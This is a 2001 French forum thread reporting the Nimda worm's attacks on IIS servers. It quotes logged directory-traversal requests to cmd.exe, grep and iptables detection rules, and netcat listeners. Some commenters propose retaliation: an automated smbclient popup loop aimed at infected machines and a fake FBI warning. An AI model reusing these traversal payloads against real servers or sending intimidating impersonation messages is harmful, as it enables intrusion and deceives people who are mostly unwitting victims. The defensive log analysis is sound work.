Nouveau Vers: Code Red le retour

Posté par  . Modéré par oliv.
Étiquettes :
0
18
sept.
2001
Sécurité
Depuis 15h20 (donc ~9h20 heure de NYC, cad pile-poil une semaine apres l'attentat), j'enregistre beaucoup d'attaques sur mes machines, plusieurs trous connus de IIS 4 et 5: Bug Unicode, Printer.ISAPI, FrontPage, etc.
La nouveauté par rapport a Code Red I & II: ce vers se propage aussi par email (via un README.EXE) et en faisant télécharger ce README.EXE a partir de code javascript inséré sur les pages web des machines infectées.

Bref, beaucoup plus méchant à terme que les vers connus jusqu'à présent...

Note du modérateur : Slashdot semble confirmer

  • # Réponse automatique...

    Posté par  . Évalué à 6.

    J'était justement en train d'écrire à des admins que leurs bécanes étaient vérolées quand j'ai lu cette niouze... alors voilà :

    Est ce que quelqu'un à un script de réponse automatique aux attaques de ce type ?

    Si non, on peux en faire un, mais je n'arrive pas à avoir la commande whois pour obtenir automatiquement le proprio et le nom de l'admin d'un bloc IP...

    • [^] # Re: Réponse automatique...

      Posté par  . Évalué à 10.

      Il faut a mon avis se méfier des automatismes trop poussés. A ta place, je limiterai mon script au remplissage d'une liste d'adresse email... que tu pourras vérifier rapidement avant d'envoyer ton message. Par exemple les adresses IP appartenant à un ISP vont t'indiquer une adresse Email qui ne correspond pas du tout à un administrateur de la machine. Du coup tu peux faire tes interrogations whois plus tard et ne garder que la liste des IP.

      Cela soulève encore la question: un ISP est il responsable de ce que font ses clients sur Internet ? [comme heberger des vers].

      • [^] # Re: Réponse automatique...

        Posté par  . Évalué à 2.

        je vois ce ue tu veux dire, mais les adresses en 195.101.* ne sont t'elles pas uniquement attribuées aux entreprises ?

        les FAI ont d'autres plages d'adresses...


        --
        tail -f access-log | grep system32 | grep ^195.101 | while read ip ; do prevent_admin.ksh $ip ; done

      • [^] # Re: Réponse automatique...

        Posté par  (site web personnel) . Évalué à 1.

        un ISP est il responsable de ce que font ses clients sur Internet ?

        Est ce que la poste est responsable de ce qu'envoie ses clients?

        • [^] # La minute du relou ...

          Posté par  . Évalué à 8.

          Article 43-8 de la loi n°86-1067 du 30/9/1986 relative à la liberté de communication
          modifiée par la loi n°2000-719 (du 1/8/2000) :
          Les personnes physiques ou morales qui assurent, à titre gratuit ou onéreux, le stockage direct et permanent pour mise à disposition du public de signaux, d'écrits, d'images, de sons ou de messages de toute nature accessibles par ces services, ne sont pénalement ou civilement responsables du fait du contennu de ces services que :
          si, ayant été saisies par une autorité judiciaire, elles n'ont pas agi promptement pour empêcher l'accès à ce contenu.

          Le texte de loi original ne contient pas de fautes de frappe.
          Il faut vérifier la jurisprudence.

          • [^] # Re: La minute du relou ...

            Posté par  (site web personnel) . Évalué à 1.

            Très intéressant mais les les personnes physiques ou morales qui assurent, à titre gratuit ou onéreux, le stockage direct et permanent pour mise à disposition du public de signaux, d'écrits, d'images, de sons ou de messages de toute nature accessibles par ces services ce sont les hebergeurs et non les ISP qui ont d'autres responsabilités.

            • [^] # [OT]Re: La minute du relou ...

              Posté par  . Évalué à 1.

              oui, t'as raison, j'ai pas fait gaffe dans l'index.


              ISPs :
              43-7 (la loi d'au dessus) :
              Les personnes physiques ou morales dont l'activité est d'offrir un accès à des services de communication en ligne autre que de correspondance privée sont tenues, d'une part, d'informer leurs abonnés de l'existance de moyens techniques permettant de restreindre l'accès à certains services ou de les sélectionner, d'autre part, de leur proposer au moins un des ces moyens

              Pendant que j'y suis je donne le reste

              concernant la vie privée, elle est suicidée aux articles 43-9 :
              43-9
              Les prestataires mentionnés aux articles 43-7 (N.D.moi : les ISP) et 43-8 (N.D.moi : les éditeurs) sont tenus de détenir et de conserver les données de nature à permettre l'identification de toute personne ayant contribué à la création d'un contenu des services dont ils sont prestataires.

              Ils sont également tenus de fournir aux personnes qui éditent un service de communication en ligne autre que de correspondance privée des moyens techniques de satisfaire aux conditions d'identification prévues à l'article 43-10

              Les autorités judiciaires peuvent requérir communication auprès des prestataires mentionnés aux articles 43-7 et 43-8 des données mentionnées au premier alinéa. Les dispositions des articles 226-17, 226-21 et 226-22 du code pénal sont applicables au traitement de ces données.

              Un décret du Conseil d'Etat, pris après consultation de la Commision nationale de l'informatique et des libertés, définit les données mentionnées au premier alinéa et détermine la durée et les modalités de leur conservation.

              Qqun a le décret sous la main ?

              43-10 (le meilleur)
              I. Les personnes dont l'activité est d'éditer un service de communication en ligne autre que de correspondance privée tiennent à disposition du public :
              - s'il s'agit de personnes physique, leur nom, prénom et domicile ;
              - s'il s'agit de personnes morales, leur dénomnation ou leur raison sociale et leur siège social ;
              - le nom du directeur de la publcation et, le cas échéant, celui du responsable de la rédaction au sens de l'article 93-2 de la loi n°82-652 du 29/7/1982 sur la communication audiovisuelle ;
              - le nom, la dénomination ou la raison sociale et l'adresse du prestataire mentionné à l'article 43-8.

              II. Les personnes éditant à titre non professionnel un service de communication en ligne autre               (N.D.moi : ??? il manque le "que" dans mon texte) de correspondance privée peuvent ne tenir à disposition du public, pour préserver leur anonymat, que le nom, la dénomination ou la raison sociale et l'adresse du prestataire mentionné à l'article 43-8, sous réserve de lui avoir communiqué les éléments d'identification personnelle prévus au I.

              Confiez vos données aux gentils commerciaux ...


              résumé du 93-2 :
              Il existe obligatoirement un "directeur de la publication"
              Il ne jouis pas de l'immunité parlementaire (sinon, il nomme un co-directeur)
              Il est majeur, et jouit des ses droit civils et civiques
              Il est le PDG, président du directoire, gérant ou représentant légal suivant le cas

          • [^] # Re: La minute du relou ...

            Posté par  . Évalué à 1.

            ils ne sont pas responsable du contenu (heureusement) mais du service dont la sécurité fait partie. Mais ces services ne peuvent être que contractuels.

            Avez vous déjà signé un contrat d'hébergement qui contiennent des clauses de sécurité ?

    • [^] # Re: Réponse automatique...

      Posté par  . Évalué à 1.

      Pour detecter et generer un rapport:
      http://www.gnobalt.net/nimda_detect.sh(...)

      A+

  • # /.

    Posté par  (site web personnel) . Évalué à -10.

    slashdot... ils sont toujours en retard,ils ne font que confirmer les niouses de Dlfp =)

  • # Fait chier

    Posté par  . Évalué à -7.

    Personne n'a un script qui eteint ou met hors de nuire la machine qui tente de t'envoyer le vers. Genre quand on tente de t'envoyer le virus par le port 80, tu te connecte chez le mec et tu lui arrete la machine, au moins il se posera des questions et mettra a jour son anti-virus. Comme cela, au moins ils feront plus chier.

    • [^] # Re: Fait chier

      Posté par  . Évalué à 10.

      Il y a un truc qui fait, qui s'appelle code green je crois bien. Mais méfiance, les propriétaires d'en face peuvent te poursuivre en justice pour piratage (vous connaissez les moeurs des avocats toujours prets à trouver une nouvelle affaire), donc l'utilisation de cette réponse "bien attentionnée" peut se retourner contre toi...

      • [^] # OOOPS kernel panic

        Posté par  . Évalué à -3.

        le commentaire du dessus est en trop, si quelqu'un pouvait le supprimer...

      • [^] # Re: Fait chier

        Posté par  . Évalué à 10.

        Code Green est un ver au même titre que Code Red. Il passe par un buffer overflow, mais à la différence de Code Red, il n'est pas "méchant".

        Il s'installe à la manière de Code Red dans le système, nettoie toute infection préalable de Code Red (et Code Red 2 il me semble), et se propage comme tout ver qui se respecte pour faire le ménage ailleurs.

        Pour le virus qui nous intéresse, il ne s'agit pas d'un Code Red 3, il semblerait que ce soit un virus à propagation mailesque qui nécessite de la part de l'utilisateur l'exécution de l'attachement (comme SIRCAM) et qui, semble-t-il, lance un scan à-la script-kiddie sur plusieurs vieilles vulnérabilités IIS (root.exe, etc.)

        Après le passage de Code Red, il ne doit plus rester beaucoup de serveurs IIS vulnérables à ça.

        AMHA, le plus gros risque est une "baisse" de bande passante pour le pov'gars qui est "infecté" (celui qui lance les attaques) et pour ceux qui sont visés par les attaques (en fait, y a pas de baisse, puisqu'elle est utilisée...)

        Pour finir, son nom (une fois de plus ; il est marqué partout sur cette page) : W32.Nimda.

        PS: Ca change de Code Blue, le pseudo Code Red 3... au moins, celui-là, il existe, je l'ai rencontré (5432 hits depuis 128 serveurs)

        • [^] # Re: Fait chier

          Posté par  . Évalué à 10.

          Oh ! En fait, il est beaucoup plus vicieux que ça, ce Nimda !

          http://news.zdnet.co.uk/story/0,,t269-s2095530,00.html(...)

          En résumé (pour les fainéants ou les anglophobes) :

          - Il se propage par une vieille d'iis (un vieux truc, cherchez "sadmind/iis worm", vous verrez)

          - Au lieu de mettre une page "hacked by chinese", il ajoute du javascript vicieux qui fait envoyer exécuter le virus à votre carnet d'adresse par le biais d'Internet Explorer (via une "feature", comme d'hab)

          - Il y aurait même une probable (future) contamination par IRC.

          - Il semblerait qu'il télécharge des trucs par FTP, mais ils savent pas encore quoi.

          'tain, le gars qui l'a pondu y a intégré tout ce qu'il pouvait :)

    • [^] # Re: Fait chier

      Posté par  . Évalué à 5.

      Il y a un truc qui le fait, qui s'appelle code green je crois bien. Mais méfiance, les propriétaires d'en face peuvent te poursuivre en justice pour piratage (vous connaissez les moeurs des avocats toujours prets à trouver une nouvelle affaire), donc l'utilisation de cette réponse "bien attentionnée" peut se retourner contre toi...

    • [^] # Re: Fait chier

      Posté par  . Évalué à 4.

      Un pauvre type te transmet le vers, il est donc déjà infecté, et tu le fous encore plus dans la panade ?

      Pas la peine de faire ton pénible, va !

      • [^] # Re: Fait chier

        Posté par  (site web personnel) . Évalué à 1.

        J'étais motivé hier soir alors j'ai envoyé des mails aux admins des IP qui m'avaient attaquées pour leur signaler. bon d'accord il n'y avait que 5 IP differentes puisque j'avais arreté mon serveur apache pendant la plus grande partie de la soirée :)

  • # Detection d'attaques de vers.

    Posté par  . Évalué à 6.

    Quel(s) programmes utiliser pour détecter ce genre d'attaques par HTTP ? J'avais installé apache juste pour ça, mais dans ma distrib toute neuve, j'ai plus envie. Une idée ?

    • [^] # Re: Detection d'attaques de vers.

      Posté par  . Évalué à 10.

      Pour cette attaque je fais un bête :

      grep -F 'c+dir' /var/log/httpd/access_log
      Et je trouve 951 lignes depuis 15h37 aujourd'hui contenant des trucs comme :

      "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"


      Après il est assez difficile de réagir. J'avais trouvé quelque part un script qui à partir des logs d'apache ajoutait des règles de filtrage des paquets IP pour interdire ceux en provenance des machines d'où provenaient les attaques. Je suis assez peu sûr de l'efficacité du truc car je ne pense pas qu'une machine infectée revienne souvent scanner la même IP.

      • [^] # Re: Detection d'attaques de vers.

        Posté par  . Évalué à 3.

        Attention a ce genre de script qui configure le firewall automatiquement ... une requete faisant croire a ton script que c'est www.microsoft.com qui t'attaque et hop tu n'as plus access a ce site formidable (DoS)

      • [^] # Re: Detection d'attaques de vers (version PHP)

        Posté par  . Évalué à 3.

        <?
        echo "CODE RED 3 : ";
        system("grep -F 'c+dir' /var/log/httpd/access_log | wc -l");
        echo "attaques !";
        ?>

      • [^] # Re: Detection d'attaques de vers.

        Posté par  (site web personnel) . Évalué à 2.

        Au passage, nessus a l'air d'avoir incorporer ses failles, vu que mon access_log s'est rempli de 111 lignes 'c+dir' suite à un passage de nessus.

        • [^] # Re: Detection d'attaques de vers.

          Posté par  . Évalué à 1.

          Je ne pense pas que ce soit suite à ce ver... parce que c'est une vulnérabilité vieille de Mai...

        • [^] # Re: Detection d'attaques de vers.

          Posté par  . Évalué à 1.

          qu'est-ce que tu entends par "nessus a l'air d'avoir incorporer ses failles"?

          • [^] # Re: Detection d'attaques de vers.

            Posté par  (site web personnel) . Évalué à 0.

            Nessus teste ses failles-là.

            Exemples:
            X.X.X.X - - [17/Sep/2001:08:06:02 +0200] "GET /cgi-bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 264
            X.X.X.X - - [17/Sep/2001:08:06:02 +0200] "GET /..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 256
            X.X.X.X - - [17/Sep/2001:08:06:02 +0200] "GET /..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 400 227
            X.X.X.X - - [17/Sep/2001:08:06:03 +0200] "GET /..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 400 227

    • [^] # Re: Detection d'attaques de vers.

      Posté par  . Évalué à 10.

      n'importe quoi qui ecoute sur le port 80 fera l'affaire. tu peux utiliser netcat "nc" en listen sur le port 80 et le faire logguer tout ce qu'il recoit dans un fichier.
      netcat c'est un petit utilitaire TRES sympa !!
      [d'ailleurs je vais de ce pas relire son man]

      • [^] # Re: Detection d'attaques de vers.

        Posté par  . Évalué à 0.

        je m'aperçois que je n'ai pas netcat d'ailleurs.

        Ou peut-on le trouver ?

        Merci d'avance.

        • [^] # Re: Detection d'attaques de vers.

          Posté par  . Évalué à 10.

          présent sur les distrib redhat (au moins la 7.1), le package s'appelle nc-1.10-10.
          Si cela se trouve tu as déjà ce petit bijou, son binaire est /usr/bin/nc sur la redhat.

          pour ecouter sur le port 80 en TCP, la commande est:
          nc -l -p 80

          par contre il va envoyer les requetes sur stdout et se terminer des la première requete ...

          un truc du genre:
          while :
          do
          nc -l -p 80
          done > /var/log/port80.log

          devrait faire ce que tu veux
          tu peux meme ajouter une réponse basique en entrée standard de nc pour faire croire à un vrai serveur web, genre
          nc -l -p 80 < maréponsetoutefaite.html


          ce nc est un outils INCONTOURNABLE. en bref: TCP ou UDP, listen ou connect, il permet de faire des petits serveurs en shell, de forwarder des connexions d'une machine vers une autre ...

        • [^] # Re: Detection d'attaques de vers.

          Posté par  . Évalué à 1.

          Moi, je l'ai recuperé là :

          ftp://ftp.ptb.de/pub/network/tools/netcat-1.10.tar.gz(...)

          je ne l'ai pas trouvé sur le site officiel pointé par freshmeat (a part la version windows :o) )

          pour le compiler, faire un make linux
          Mais pour qu'il compile, j'ai mis en commentaire la ligne
          res_init () dans netcat.c

    • [^] # Re: Detection d'attaques de vers.

      Posté par  . Évalué à 5.

      Attention, solution gore :)
      Il existe un patch pour Netfilter (firewall du kernel 2.4.x) qui permet de matcher des chaines de caractères dans les paquets.

      Un simple
      iptables -A INPUT -p tcp --dport 80 -m string --string "default.ida" -j LOG
      devrait suffir, pas besoin de démon...

      Pour installer la pacth: télécharger le code source d'iptables et lance make patch-o-matic

      • [^] # Re: Detection d'attaques de vers.

        Posté par  . Évalué à -1.

        Sauf que ton astuce filtre Code Red, pas ce nouveau virus (W32.Nimda) , qui n'a rien à voir avec Code Red (il ne fait d'ailleurs pas appel à default.ida)

        • [^] # Re: Detection d'attaques de vers.

          Posté par  . Évalué à 2.

          je pense qu'il suffit de changer le string en transformant "default.ida" en "system32" (vous n'avez pas de répertoire system32 si vous etes normalement constitué )

          iptables -A INPUT -p tcp --dport 80 -m string --string "system32" -j LOG


          moi chuis en 2.2, mais des trucs comme ça ca te donne envie de passer en 2.4 !

          • [^] # Re: Detection d'attaques de vers.

            Posté par  . Évalué à 2.

            Ca doit être quand même bien lourd, puisque le kernel va regarder dans le contenu TCP (niveau 5 et +), alors qu'IPTables, dans sa version de base, ne se contente que de regarder les entetes des paquets IP (niveau 3) et TCP (niveau 4). Traiter les entêtes, ça va, puisque la taille est réduite (quelques octets), mais regarder le contenu, ça c'est bcp plus lourd !!!

            Autre chose : comment ça se passe exactement ? Bah oui, disons que le paquet est au départ accepté (port 80 vers un serveur web), puis il est jeté si il contient default.ida ???? Moralité : ce genre de paquets "matche" deux fois une règle.... pfff !!!

            Je ne suis pas prêt d'utiliser cette saloperie, à moins d'avoir un firewall très costaud !!!

            • [^] # Re: Detection d'attaques de vers.

              Posté par  . Évalué à 2.

              Je ne connais pas à fond la question, mais avec ce que je sais, ça devrait suffir.

              Pour commencer, tout ne se passe pas en 1 paquet. Avant que n'arrive la requete HTTP, il y a 3 paquets qui transitent pour établir la connexion. C'est le premier de ceux là (le SYN) qui est filtré par la première règle. Pour les 2 autres (SYN+ACK, ACK), je sais pas s'il les filtre.

              En tout cas, étant donné que c'est du statefull (depuis la 2.4, ça tombe bien, on parle d'iptables), une fois le SYN autorisé et la connexion établie, il met à jour sa table de connexions.

              Ensuite, quand vient le paquet avec la requete HTTP, il sait que la connexion est établie (d'après sa table), et il regarde le deuxième filtre (celui du contenu).

              Quelqu'un qui connait iptables à fond peut confirmer ?

              • [^] # Re: Detection d'attaques de vers.

                Posté par  . Évalué à 3.

                ce que je peux te confirmer, c'est ce que j'ai déjà écrit en dessous: si il n'y a pas de process pour écouter sur le port, la connexion ne sera jamais établie et la requete jamais envoyée.

                ensuite parlons des problèmes iptables:
                1/ comme c'est dit au dessus, inspecter le contenu des paquets est très lourd, peut etre même trop lourd en mode kernel.
                2/ il y a deux types de machines: celles qui n'ecoutent pas sur le port 80 (et ne recevront jamais la requete) et celles qui écoutent sur le port 80 (elles ont donc un process bien mieux qualifié que iptables pour filtrer les url).
                3/ que se passe t'il en cas de paquets fragmentés au milieu d'une url ? ta règle impose t'elle à iptable de ré-assembler les paquets ?? si NON, elle est completement inéficace. si OUI, elle est encore plus couteuse.

                Sinon, pour la théorie iptables, effectivement on peut limiter le nombre de règles à parcourir pour prendre la décision. c'est d'ailleur une TRES bonne pratique.
                a/ mettre en premier les règles qui ont le plus de chances d'être acceptées directement. par exemple -state established,related, le plu sgrand nombre de paquets n'etant pas des demandes de connection.
                b/ séparer les règles en sous groupes. Dans le cas présent, une première règle qui dirige les requetes sur le port 80 vers une chaine "WEB" avant la "-state established,related" permettra d'éviter de scanner les règles dédiées au WEB pour les paquets FTP ...

                bref, iptables c'est comme le reste, on peut toujours améliorer les règles.

              • [^] # Re: Detection d'attaques de vers.

                Posté par  . Évalué à 2.

                Tout depend de la maniere dont tu ecris les regles, mais il parfaitement possible de demander a Netfilter de faire ce que tu viens de dire.
                En gros, dans ta chaine INPUT tu valides les demandes de connexions sur les ports ouverts, et tu envoies les paquets se trouvant dans une connexion deja etablie dans une autre chaine qui filtre.
                Ca donne:

                iptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT
                iptables -A INPUT -p tcp --dport 80 -m state --state ESTABLISHED -j FILTER

                y'a plus qu'a definir tes regles dans FILTER.

                Ce n'est qu'une solution parmis d'autres... iptables est tres puissant et tres configurable :)

                • [^] # Re: Detection d'attaques de vers.

                  Posté par  . Évalué à 1.

                  Ah okay, le mécanisme n'est pas automatique. Au temps pour moi.

                  Il faut vraiment que je me penche là dessus...

                  Quoi qu'il en soit, pour que le firewall soit rapide , il faut que les filtres sur les hautes couches OSI soient faites APRES le filtrage des couches basses, c'est la base...

                  Sinon, quelqu'un a une (bonne) URL pour "apprendre" Netfilter ?

          • [^] # Re: Detection d'attaques de vers.

            Posté par  (site web personnel) . Évalué à 2.

            Dans le cas d'un site possedant un firewall (iptable) et un LAN avec un ou plusieurs serveurs web.

            (Plusieurs remarques en vrac)

            Je ne pense pas que le probleme vienne de la charge supportee part le firewall, les machines d'aujourd'hui sont quand meme assez puissante.
            On ne mets pas un 486 en firewall pour le type de LAN que je decris.

            Pour repondre a une remarque sur la fragmentation, lorsque le suivi de connexion est active iptable re-assemble les fragments.

            Certains firewall Cisco font de l'inspection dans la couche 7.

            Pour moi le probleme de ce type de regle (dans le cas d'un DROP des paquets contenant "system32") est dans certain cas d'accentuer le DDOS :

            Lorsque Apache recoit le sync, il attribue un processus pour gerer cette connexion.
            Ce processus echange deux autres paquets avec le client pour initier la connexion, et sur le quatrieme paquet, iptable drop les paquets suivants, et vire la connexion de sa table de suivi de connexion.
            Pendant ce temps la, Apache attends les paquets jusqu'au timeout (de quelques minutes).
            Imagine que pendant ces quelques minutes le serveur web recoive plusieurs paquets sync d'autres hotes verole, en moins d'une minute tu peux epuiser le nombre de processus autorise par Apache, et ne plus accepter aucunes requetes, meme de clients non veroles.

            Si tu ne bloques pas ce quatrieme paquet avec iptable, le processus (Apache) qui gere la requete mets normalement fin a la connexion, et est prets a en gerer une nouvelle.

            • [^] # Re: Detection d'attaques de vers.

              Posté par  (site web personnel) . Évalué à 1.

              J'oubliais, on peut ecrire cette regle :

              iptables -I INPUT -i eth0 -p tcp --tcp-flags ACK ACK --dport 80 -m string --string '/system32' -j REJECT --reject-with tcp-reset

              Ca clos proprement la connexion sur le firewall, et sur l'hote verole, mais le serveur web reste en attente jusqu'au timeout. :-(

              Les developpeurs d'iptable penseront peut etre a ajouter une option pour modifier le paquet recu de l'hote verole.
              C'est a dire transformer le paquet en une demande de cloture de connexion.
              Le serveur web, le firewall, et le client verraient ainsi leurs sessions close proprement. ;-)

      • [^] # Re: Detection d'attaques de vers.

        Posté par  . Évalué à 3.

        Cela prouve que tu n'as pas essayé ton astuce avant de la proposer.
        Pourquoi ?

        Parce que pour se connecter, le serveur distant va envoyer une demande de connection (SYN+ACK), petit paquet SANS DONNEES auquel ta machine ne va pas répondre puisque aucun serveur n'écoute sur le port. La requete HTML se trouve dans les paquets suivants, envoyés par le serveur SEULEMENT si ta machine a accepté la connexion.

        Je le sais bien, j'ai une astuce de ce genre sur mon firewall qui me loggue au format libpcap les paquets qu'il n'aime pas (cf http://freshmeat.net/projects/pdumpq/(...)
        )... mais je ne récupère que des demandes de connexion :-(

  • # Exploitation du vers...

    Posté par  . Évalué à 10.

    j'ai pas mal de logs de tentatives d'exploitation du vers en ce moments sur mes serveurs, ca donne un truc du genre :

    195.101.xxx.xxx - - [18/Sep/2001:18:11:16 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 403 284
    195.101.xxx.xxx - - [18/Sep/2001:18:11:16 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 403 282
    195.101.xxx.xxx - - [18/Sep/2001:18:11:17 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 292
    ...
    195.101.xxx.xxx - - [18/Sep/2001:18:12:23 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 306


    Alors contre ca :
    1 - récupération du nom de la société :
    www.ripe.net/perl/whois?query=-L+195.101.xxx.xxx

    2 - la société s'appelle FR-XXXX :
    www.ripe.net/perl/whois?query=FR-XXXX&.submit=Soumettre+la+requ%EAte

    on obtient le nom du contact...

    3 - réponse :

    $ nmblookup -A 195.101.xxx.xxx
    DOMAIN <20>
    USER <03>

    $ smbclient -n Response -U Securite -I 195.101.xxx.xxx -M USER
    alors $USER ? on essaye de m'attaquer ?
    je sais que tu bosses chez $address, et si tu continues je vais prévenir $person ($phone)
    ^D

    4 - bien rire à l'idée que le mec recoit un popup sur sa bécane... pauvre script kiddy en panique !

    • [^] # Re: Exploitation du vers...

      Posté par  . Évalué à 9.

      pauvre script kiddy en panique !

      ca me fait penser au jour ou un type scannait mon firewall alors que j'etais la.
      je lui ai envoyé un mail venant de root@samachine et lui demandant d'arreter ses conneries [il avait laissé le port 25 ouvert et sendmail mal configuré] ... j'imagine sa tronche en lisant le mail :-))

      • [^] # Re: Exploitation du vers...

        Posté par  . Évalué à 7.

        C'est jouissif, non ?

        Moi j'adore prendre ces petites têtes à leurs propre jeu...

        On peut aussi changer le message :
        " ----- FBI WARNING -----
        You, $USER, are trying to hack one of our servers. In consequencies of the DAC99 we decided to arrest you. We know you actually are in the society "$address1" on the workstation "$PC<20>".
        We have already contacted Mr $person. Please do not move while the French Gendarmerie is comming.

        Thank you for your cooperation.

        Agent Smith."

        • [^] # Re: Exploitation du vers...

          Posté par  . Évalué à 0.

          And beware of the French Gendarmerie ! Fear !

        • [^] # Re: Exploitation du vers...

          Posté par  . Évalué à 4.

          Et n'importe quel cretin qui connait un minimum l'anglais se rendra compte que vu le nombre de fautes dans le message, il n'y a surement qu'un autre cretin pour avoir ecrit ce mail ! :-)

          • [^] # hihi j'osais pas le dire

            Posté par  . Évalué à -1.

            :))

          • [^] # Re: Exploitation du vers...

            Posté par  . Évalué à 2.

            Vu que le niveau d'anglais des script-kiddies français et infiniment pire que leur niveau de français déjà lamentable, même du Babelfish passerait sans problème...

    • [^] # Re: Exploitation du vers...

      Posté par  . Évalué à 10.

      C'est intéressant comme technique mais outre le faire que la société trouvée par le whois ne correspond pas nécessairement à la société à laquelle appartient la machine (par exemple pour toutes les machines des particuliers chez noos on risque de retomber sur noos) tu négliges que :


      • l'attaque est le fait d'un vers et donc n'est probablement pas lancée de manière consciente par l'utilisateur de la machine ;

      • si c'est un serveur personne ne sera là pour regarder le popup ;-).



      Cependant c'est peut être une technique à creuser pour prévenir les admin des machines infectées.

      • [^] # Re: Exploitation du vers...

        Posté par  . Évalué à -2.

        Il est clair que c'est surtout valable avec les addresses en 195.101.* attribuées par transpac aux sociétés...

        les FAI ont d'autres plages d'adresses pour leurs abonnés.

    • [^] # Re: Exploitation du vers...

      Posté par  . Évalué à 8.

      Un peu d'automatisation ne fait pas de mal:

      for i in ` grep -F 'c+dir' access.log | cut -d " " -f 1 | uniq`; do USER=`nmblookup -A $i | grep 03 | cut -d " " -f 1`; smbclient -n Response -U Security -I $i -M $USER < message; done

      Placez dans le fichier "message" le texte à envoyer et lancez le tout.

      Bon ca demande a être paufiné mais ca marche.

      • [^] # Re: Exploitation du vers...

        Posté par  . Évalué à 5.

        for i in ` grep -F 'c+dir' access.log | cut -d " " -f 1 | uniq`; do for USER in `nmblookup -A $i | grep 03 | cut -d " " -f 1`; do smbclient -n Response -U Security -I $i -M $USER < message; done; done


        Ca marche mieux comme ca, sinon il y avait un probleme si plusieurs utilisateurs étaient connectés sur la machine cible

    • [^] # update: Exploitation du vers...

      Posté par  . Évalué à 0.

      20 minutes après la niouze, j'imaginais que qques scripts kiddies avaient un outil qui permettait d'exploiter les traces du CodeRed et autres...

      Mais puisqu'il s'agît bel et bien d'un vers, mieux vaut envoyer un mail qu'un popup au contact technique trouvé sur le whois des sites vérolés.

      les points 1 et 2 restent valables pour obtenir les coordonnées des contacts.

      Faites en quelques uns par jour, histoire de contribuer à l'éradication de ces saletés...(oui je sais : "yzavaikacmetsousnunux", mais on est pas des chiens ?)

    • [^] # Les Jean-Kevin sont agressifs

      Posté par  (site web personnel) . Évalué à 1.

      bien rire à l'idée que le mec recoit un popup sur sa bécane... pauvre script kiddy en panique !

      Moi j'ai pas bien rit l'autre jour. J'ai pas compris, un gars m'envoie un message via ICQ en m'insultant et en m'accusant de l'avoir pirater. Il me dit "vient pirater mon adresse e-mail si tu l'oses petit connard".

      J'étais bien tenté de me connecter sur un serveur mail pour lui faire un peu peur, mais finalement je suis passé à autre chose.

    • [^] # Re: Exploitation du vers...

      Posté par  . Évalué à -1.

      Ce vers (je l'ai recu hier sur une machine) fait des dégats dans certaines DLL sur NT 4. Certaines fonctions réseaux ne fonctionnent plus, et en pratique cela donne l'impossibilité d'établir des connexions TCP normales. Globalement la machine se révèle instable. Enfin on connait déjà avec M$ :-)

      De toute façons il est urgent de trouver et d'appliquer un bon "nettoyant" !

  • # virus .exe

    Posté par  . Évalué à 2.

    Y'en a encore pour télécharger/exécuter des .exe dont ils ne savent pas ce qu'il contient??
    Si c'est le cas.. on appelle ça la sélection naturelle.
    Vous êtes le maillon faible: au revoir!

  • # Confirmation

    Posté par  . Évalué à 3.

    Je confirme l'existence de ce vers :

    Je l'ai reçu trois fois cet après-midi, le premier datant de 15H30 CET, et un 'strings' permet même d'y trouver la chaine << Concept Virus(CV) V.5, Copyright(C)2001 R.P.China >> !

    De plus, il y a énormément de traffic sur la liste Snort User à son sujet depuis environs 15H00 CET sur les moyens de le bloquer.

    • [^] # Re: Confirmation

      Posté par  (site web personnel) . Évalué à 2.

      Le probleme dans tout ça c'est que ça rend mes stats completement fausses :(

      d'autant que j'ai un 404 dynamique sur lequel j'ai un compteur.

      La seul solution que j'ai trouvé c'est de rediriger mes visiteurs sur le port 81,

      mais chez quelques rares personnes ça ne passe pas (firewall) :(

      Je presice que j'ai fait le serveur avec quelqun d'autre (c'est un script) et que je doit peut etre le seul au monde a l'utiliser de cette façon...

      ça fausse tout ces code-red et autres :(

      [moua]

      • [^] # Re: Confirmation

        Posté par  (site web personnel, Mastodon) . Évalué à 8.

        En général, tu te fais attaquer sur l'IP, pas sur un nom. Donc, si tu mets ton serveur en Virtual et créée un serveur 'default' , tu pourra avoir des stats en ordre (les codered et autres attaques dans *default* et tes surfeurs dans *monsite*).

        La gelée de coings est une chose à ne pas avaler de travers.

        • [^] # Re: Confirmation

          Posté par  (site web personnel) . Évalué à 0.

          oui mais mon serveur est en http 1.0 (directement sur l'ip)

          enfin bon... vais modifier le comportement de mon serveur sur certaines requetes (comme ça j'aurrais les stats normal + les stats pour les vers :) )

          [moua]

    • [^] # Re: Confirmation

      Posté par  . Évalué à 1.

      Yep yep yep....

      J'ai pas encore reçu le mail, mais à la maison, sur la ligne ADSL wanadoo, les logs me donnent 1 tentative de connexion sur un serveur HTTP par minute en moyenne entre 13h et 20h30 !!!!
      Ca s'etait un peu calmé depuis après CodeRed, c'est reparti de plus belle...... c'est lourd quand même.....

  • # Qu'eb est il maintenant de IIS ?

    Posté par  . Évalué à 3.

    Est ce que les admin systemes vont enfin comprendre que, un site IIS pour des données sensibles c'est pas le pied !

    PS : il est vrai qu'en entreprise on ne peut pas installer n'importe quoi !
    Dans ma nouvelle Entreprise ils sont tous sur Win 2000 server et ils ont un serveur HP-UX pour les données importantes.

    Installer Linux ou autre c'est hors de question, faut demander a la maison mere qui elle fait confiance à DELL !

    N'empeche, qu'on me dise pas qu'il est impossible d'installer Mozilla, Netscape ou un logiciel gratos ! (je fais allusions aux 45% de MSIE sur Linuxfr)
    L'admin est OK si :
    - L'installe foire pas le systeme
    - Si la license est OK (par exemple, pas de copie illicite !)
    - Si les pb seront, pour le logiciel, de notre responsabilité !


    Franchement il n'y a qu'a l'ecole ou il est interdit d'installer quoique ce soit sur notre poste !

    • [^] # Re: Qu'en est il maintenant de IIS ?

      Posté par  . Évalué à 10.
